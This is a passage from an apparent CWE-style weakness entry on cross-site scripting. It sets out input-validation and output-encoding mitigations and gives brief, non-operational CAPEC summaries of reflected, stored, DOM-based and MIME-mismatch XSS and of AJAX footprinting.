- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
- Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-209: XSS Using MIME Type Mismatch
An adversary creates a file with scripting content but where the specified MIME type of the file is such that scripting is not expected. The adversary tricks the victim into accessing a URL that responds with the script file. Some browsers will detect that the specified MIME type of the file does not match the actual type of its content and will automatically switch to using an interpreter for the real content type. If the browser does not invoke script filters before doing this, the adversary's script may run on the target unsanitized, possibly revealing the victim's cookies or executing arbitrary script in their browser.
CAPEC-588: DOM-Based XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is inserted into the client-side HTML being parsed by a web browser. Content served by a vulnerable web application includes script code used to manipulate the Document Object Model (DOM). This script code either does not properly validate input, or does not perform proper output encoding, thus creating an opportunity for an adversary to inject a malicious script launch a XSS attack. A key distinction between other XSS attacks and DOM-based attacks is that in other XSS attacks, the malicious script runs when the vulnerable web page is initially loaded, while a DOM-based attack executes sometime after the page loads. Another distinction of DOM-based attacks is that in some cases, the malicious script is never sent to the vulnerable web server at all. An attack like this is guaranteed to bypass any server-side filtering attempts to protect users.
CAPEC-591: Reflected XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is "reflected" off a vulnerable web application and then executed by a victim's browser. The process starts with an adversary delivering a malicious script to a victim and convincing the victim to send the script to the vulnerable web application.
CAPEC-592: Stored XSS
An adversary utilizes a form of Cross-site Scripting (XSS) where a malicious script is persistently "stored" within the data storage of a vulnerable web application as valid input.
CAPEC-63: Cross-Site Scripting (XSS)
An adversary embeds malicious scripts in content that will be served to web browsers. The goal of the attack is for the target software, the client-side browser, to execute the script with the users' privilege level. An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute code and scripts. Web browsers, for example, have some simple security controls in place, but if a remote attacker is allowed to execute scripts (through injecting them in to user-generated content like bulletin boards) then these controls may be bypassed. Further, these attacks are very difficult for an end user to detect.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.